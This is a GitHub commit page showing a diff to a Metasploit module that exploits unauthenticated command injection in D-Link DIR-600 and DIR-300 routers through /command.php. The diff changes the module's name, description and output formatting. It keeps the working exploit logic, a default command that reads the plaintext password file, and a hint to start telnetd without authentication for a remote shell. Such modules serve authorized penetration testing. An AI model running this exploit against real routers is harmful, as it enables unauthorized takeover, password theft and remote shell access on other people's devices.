Skip to content

Commit 43f3bb4

Browse files
author
m-1-k-3
committed
small updates
1 parent 5ca0e45 commit 43f3bb4

File tree

1 file changed

+10
-9
lines changed

1 file changed

+10
-9
lines changed

modules/auxiliary/admin/http/dlink_dir_300_600_exec_noauth.rb

Lines changed: 10 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -13,12 +13,13 @@ class Metasploit3 < Msf::Auxiliary
1313

1414
def initialize(info = {})
1515
super(update_info(info,
16-
'Name' => 'D-Link DIR-600 rev B / DIR-300 rev B unauthenticated Remote Command Execution in command.php',
16+
'Name' => 'D-Link DIR-600 / DIR-300 Unauthenticated Remote Command Execution',
1717
'Description' => %q{
18-
Some D-Link Routers are vulnerable to OS Command injection.
18+
Some D-Link Routers like the DIR-600 rev B and the DIR-300 rev B are
19+
vulnerable to OS Command injection.
1920
You do not need credentials to the webinterface because the command.php
2021
is accesseble without authentication. You could read the plaintext password
21-
file.
22+
file. Tested versions: DIR-600 2.14b01 and below, DIR-300 rev B 2.13 and below.
2223
Hint: To get a remote shell you could start the telnetd without any authentication.
2324
},
2425
'Author' => [ 'm-1-k-3' ],
@@ -35,14 +36,14 @@ def initialize(info = {})
3536
register_options(
3637
[
3738
Opt::RPORT(80),
38-
OptString.new('CMD', [ true, 'The command to execute', 'cat /var/passwd'])
39+
OptString.new('CMD', [ true, 'The command to execute', 'cat var/passwd'])
3940
], self.class)
4041
end
4142

4243
def run
4344
uri = '/command.php'
4445

45-
print_status("Sending remote command: " + datastore['CMD'])
46+
print_status("#{rhost}:#{rport} - Sending remote command: " + datastore['CMD'])
4647

4748
data_cmd = "cmd=#{datastore['CMD']}; echo end"
4849

@@ -63,11 +64,11 @@ def run
6364
end
6465

6566
if res.body.include? "end"
66-
print_status("Exploited successfully")
67-
print_line("Command: #{datastore['CMD']}")
68-
print_line("Output: #{res.body}")
67+
print_status("#{rhost}:#{rport} - Exploited successfully\n")
68+
print_line("#{rhost}:#{rport} - Command: #{datastore['CMD']}\n")
69+
print_line("#{rhost}:#{rport} - Output: #{res.body}")
6970
else
70-
print_status("Exploit failed.")
71+
print_status("#{rhost}:#{rport} - Exploit failed.")
7172
end
7273
end
7374
end

0 commit comments

Comments
 (0)